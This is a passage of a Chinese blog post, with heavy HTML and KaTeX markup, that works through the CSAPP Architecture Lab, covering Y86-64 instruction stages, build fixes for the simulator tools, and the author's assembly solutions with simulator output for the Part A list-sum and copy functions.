mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>←</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valB \leftarrow R[rB]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>执行</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mn>0</mn><mo>+</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi></mrow><annotation encoding="application/x-tex">valE \leftarrow 0 + valA</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span></span></span></span><br><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>C</mi><mi>n</mi><mi>d</mi><mo>←</mo><mi>C</mi><mi>o</mi><mi>n</mi><mi>d</mi><mo stretchy="false">(</mo><mi>C</mi><mi>C</mi><mo separator="true">,</mo><mi>i</mi><mi>f</mi><mi>u</mi><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">Cnd \leftarrow Cond(CC, ifun)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">o</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">CC</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mord mathnormal">u</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>+</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi></mrow><annotation encoding="application/x-tex">valE \leftarrow valB + valC</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>B</mi><mo>+</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>C</mi></mrow><annotation encoding="application/x-tex">valE \leftarrow valB + valC</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05017em;">lB</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.07153em;">lC</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>访存</strong></td><td style="text-align:left"></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>A</mi></mrow><annotation encoding="application/x-tex">M_8[valE] \leftarrow valA</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mord mathnormal">A</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>v</mi><mi>a</mi><mi>l</mi><mi>M</mi><mo>←</mo><msub><mi>M</mi><mn>8</mn></msub><mo stretchy="false">[</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">valM \leftarrow M_8[valE]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.10903em;">lM</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.10903em;">M</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.109em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">8</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span><span class="mclose">]</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>写回</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>i</mi><mi>f</mi><mo stretchy="false">(</mo><mi>C</mi><mi>n</mi><mi>d</mi><mo stretchy="false">)</mo><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>B</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>E</mi></mrow><annotation encoding="application/x-tex">if(Cnd) R[rB] \leftarrow valE</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07153em;">C</span><span class="mord mathnormal">n</span><span class="mord mathnormal">d</span><span class="mclose">)</span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.05764em;">lE</span></span></span></span></td><td style="text-align:left"></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>R</mi><mo stretchy="false">[</mo><mi>r</mi><mi>A</mi><mo stretchy="false">]</mo><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>M</mi></mrow><annotation encoding="application/x-tex">R[rA] \leftarrow valM</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord mathnormal">A</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.10903em;">lM</span></span></span></span></td></tr><tr><td style="text-align:left"><strong>更新 PC</strong></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td><td style="text-align:left"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mi>C</mi><mo>←</mo><mi>v</mi><mi>a</mi><mi>l</mi><mi>P</mi></mrow><annotation encoding="application/x-tex">PC \leftarrow valP</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07153em;">PC</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">v</span><span class="mord mathnormal">a</span><span class="mord mathnormal" style="margin-right:0.13889em;">lP</span></span></span></span></td></tr></tbody></table><p>那么按照以上来设计各个阶段：</p><blockquote><p>TODO 咕咕咕</p></blockquote><hr /><p>接下来是 ArchLab，分为 ABC 三个 Part。</p><blockquote><p>A 简单，B 也不太难，C 很大坨</p></blockquote><p>首先应该解压 sim.tar <code>tar xvf sim.tar</code>，然后 <code>cd sim &amp;&amp; make clean &amp;&amp; make</code> 构建所需的 Y86-64 工具，接下来的任务都在 sim 目录下完成。</p><blockquote><p>如果缺少依赖报错可以安装以下软件包：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt install tcl tcl-dev tk tk-dev</span><br><span class="line"><span class="built_in">sudo</span> apt install flex</span><br><span class="line"><span class="built_in">sudo</span> apt install bison</span><br></pre></td></tr></table></figure></blockquote><blockquote><p>如果提示类似</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">/usr/bin/ld: yas.o:/home/z0z0r4/CSAPP-LAB/archlab/sim/misc/yas.h:13: multiple definition of `lineno&#x27;; </span><br><span class="line">yas-grammar.o:(.bss+0x0): first defined here</span><br></pre></td></tr></table></figure><p>这个重复定义报错，是由于 GCC 10 之前默认 <code>-fcommon</code> 选项导致的，GCC 10 之后默认 <code>-fno-common</code>，解决方法是将 <code>-fcommon</code> 添加到 Makefile 的 CFLAGS 和 LLCFLAGS 中。（注意不止一个地方需要添加）</p></blockquote><blockquote><p>源码兼容的是 tk8.5，但是现在 apt 只有 8.6，有 breaking change，可以参考 <a href="https://stackoverflow.com/questions/66291922/tk-h-looks-for-tcl-h-in-usr-include-but-tcl-h-is-in-usr-include-tcl-i-dont-h">tk.h looks for tcl.h in /usr/include but tcl.h is in /usr/include/tcl. I don’t have write tk.h privilege to fix code</a> 或者从源码编译安装 tk8.5 <a href="https://www.tcl-lang.org/software/tcltk/downloadnow85.html">tcltk downloadnow85</a>（但还不如直接不用 GUI 了…如果不需要 GUI 则可以在 Makefile 中注释掉 <code>GUIMODE</code>、<code>TKLIBS</code>、<code>TKINC</code>。）</p></blockquote><h3 id="part-a"><a class="markdownIt-Anchor" href="#part-a"></a> Part A</h3><p>Part A 有要实现下面三个函数：</p><ul><li><code>sum_list</code>: 计算链表元素的和</li><li><code>rsum_list</code>: 递归计算链表元素的和</li><li><code>copy_block</code>: 将 src 中的内容复制到 dest 中，并返回 src 的异或校验和</li></ul><details><summary> <code>examples.c</code> </summary><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*</span></span><br><span class="line"><span class="comment"> * Architecture Lab: Part A</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * High level specs for the functions that the students will rewrite</span></span><br><span class="line"><span class="comment"> * in Y86-64 assembly language</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* $begin examples */</span></span><br><span class="line"><span class="comment">/* linked list element */</span></span><br><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">ELE</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="type">long</span> val;</span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">ELE</span> *<span class="title">next</span>;</span></span><br><span class="line">&#125; *list_ptr;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* sum_list - Sum the elements of a linked list */</span></span><br><span class="line"><span class="type">long</span> <span class="title function_">sum_list</span><span class="params">(list_ptr ls)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">long</span> val = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (ls)</span><br><span class="line">    &#123;</span><br><span class="line">        val += ls-&gt;val;</span><br><span class="line">        ls = ls-&gt;next;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> val;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* rsum_list - Recursive version of sum_list */</span></span><br><span class="line"><span class="type">long</span> <span class="title function_">rsum_list</span><span class="params">(list_ptr ls)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> (!ls)</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">long</span> val = ls-&gt;val;</span><br><span class="line">        <span class="type">long</span> rest = rsum_list(ls-&gt;next);</span><br><span class="line">        <span class="keyword">return</span> val + rest;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* copy_block - Copy src to dest and return xor checksum of src */</span></span><br><span class="line"><span class="type">long</span> <span class="title function_">copy_block</span><span class="params">(<span class="type">long</span> *src, <span class="type">long</span> *dest, <span class="type">long</span> len)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="type">long</span> result = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> (len &gt; <span class="number">0</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="type">long</span> val = *src++;</span><br><span class="line">        *dest++ = val;</span><br><span class="line">        result ^= val;</span><br><span class="line">        len--;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">/* $end examples */</span></span><br></pre></td></tr></table></figure></details><p>以下是实现，我本来想参考 <code>gcc -S</code> 生成的汇编代码来写，但发现它生成的代码也挺难看的，还是对照下指令集开始写了。</p><h4 id="sum_list"><a class="markdownIt-Anchor" href="#sum_list"></a> <code>sum_list</code></h4><details><summary> <code>ans-sum.ys</code> </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">.pos 0</span><br><span class="line">irmovq stack, %rsp</span><br><span class="line">irmovq ele1, %rdi</span><br><span class="line">call sum_list</span><br><span class="line">halt</span><br><span class="line"></span><br><span class="line">.align 8</span><br><span class="line">ele1: .quad 0x00a</span><br><span class="line">      .quad ele2</span><br><span class="line">ele2: .quad 0x0b0</span><br><span class="line">      .quad ele3</span><br><span class="line">ele3: .quad 0xc00</span><br><span class="line">      .quad 0 halt</span><br><span class="line"></span><br><span class="line">sum_list:</span><br><span class="line">    xorq %rax, %rax # val = 0</span><br><span class="line">    jmp Test</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">Loop:</span><br><span class="line">    mrmovq (%rdi), %r10</span><br><span class="line">    addq %r10, %rax</span><br><span class="line">    mrmovq 8(%rdi), %rdi</span><br><span class="line"></span><br><span class="line">Test:</span><br><span class="line">    andq %rdi, %rdi # if ls-&gt;next == NULL</span><br><span class="line">    jne Loop</span><br><span class="line"></span><br><span class="line">    ret</span><br><span class="line"></span><br><span class="line">.pos 0x200</span><br><span class="line">stack:</span><br></pre></td></tr></table></figure></details><blockquote><p>注意：先 <code>./yas ans.ys</code> 检查、编译，然后再 <code>./yis ans.yo</code> 运行。</p></blockquote><details><summary> <code>./yis ans-sum.yo</code> 运行结果 </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">❯ ./yis ans-sum.yo</span><br><span class="line">Stopped in 24 steps at PC = 0x1d.  Status &#x27;HLT&#x27;, CC Z=1 S=0 O=0</span><br><span class="line">Changes to registers:</span><br><span class="line">%rax:   0x0000000000000000      0x0000000000000cba</span><br><span class="line">%rsp:   0x0000000000000000      0x0000000000000200</span><br><span class="line">%r10:   0x0000000000000000      0x0000000000000c00</span><br><span class="line"></span><br><span class="line">Changes to memory:</span><br><span class="line">0x01f8: 0x0000000000000000      0x000000000000001d</span><br></pre></td></tr></table></figure></details><h4 id="rsum_list"><a class="markdownIt-Anchor" href="#rsum_list"></a> <code>rsum_list</code></h4><p>注意多了压栈弹栈。</p><details><summary> <code>ans-rsum.ys</code> </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">.pos 0</span><br><span class="line">irmovq stack, %rsp</span><br><span class="line">irmovq ele1, %rdi</span><br><span class="line">call rsum_list</span><br><span class="line">halt</span><br><span class="line"></span><br><span class="line">.align 8</span><br><span class="line">ele1: .quad 0x00a</span><br><span class="line">      .quad ele2</span><br><span class="line">ele2: .quad 0x0b0</span><br><span class="line">      .quad ele3</span><br><span class="line">ele3: .quad 0xc00</span><br><span class="line">      .quad 0 halt</span><br><span class="line"></span><br><span class="line">rsum_list:</span><br><span class="line">    andq %rdi, %rdi</span><br><span class="line">    je Return0</span><br><span class="line"></span><br><span class="line">    mrmovq (%rdi), %r8</span><br><span class="line">    pushq %r8</span><br><span class="line">    mrmovq 8(%rdi), %rdi</span><br><span class="line">    call rsum_list</span><br><span class="line">    popq %r8</span><br><span class="line">    addq %r8, %rax</span><br><span class="line">    ret</span><br><span class="line"></span><br><span class="line">Return0:</span><br><span class="line">    xorq %rax, %rax</span><br><span class="line">    ret</span><br><span class="line"></span><br><span class="line">.pos 0x200</span><br><span class="line">stack:</span><br></pre></td></tr></table></figure></details><details><summary> <code>./yis ans-rsum.yo</code> 运行结果 </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">❯ ./yis ans-rsum.yo</span><br><span class="line">Stopped in 35 steps at PC = 0x1d.  Status &#x27;HLT&#x27;, CC Z=0 S=0 O=0</span><br><span class="line">Changes to registers:</span><br><span class="line">%rax:   0x0000000000000000      0x0000000000000cba</span><br><span class="line">%rsp:   0x0000000000000000      0x0000000000000200</span><br><span class="line">%r8:    0x0000000000000000      0x000000000000000a</span><br><span class="line"></span><br><span class="line">Changes to memory:</span><br><span class="line">0x01c8: 0x0000000000000000      0x000000000000007a</span><br><span class="line">0x01d0: 0x0000000000000000      0x0000000000000c00</span><br><span class="line">0x01d8: 0x0000000000000000      0x000000000000007a</span><br><span class="line">0x01e0: 0x0000000000000000      0x00000000000000b0</span><br><span class="line">0x01e8: 0x0000000000000000      0x000000000000007a</span><br><span class="line">0x01f0: 0x0000000000000000      0x000000000000000a</span><br><span class="line">0x01f8: 0x0000000000000000      0x000000000000001d</span><br></pre></td></tr></table></figure></details><h4 id="copy_block"><a class="markdownIt-Anchor" href="#copy_block"></a> <code>copy_block</code></h4><p>注意不能直接 <code>addq $8, %rdi</code>，因为 <code>addq</code> 只能是寄存器相加，所以需要先 <code>irmovq $8, %r9</code>，再 <code>addq %r9, %rdi</code>。</p><details><summary> <code>ans-copy.ys</code> </summary><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span 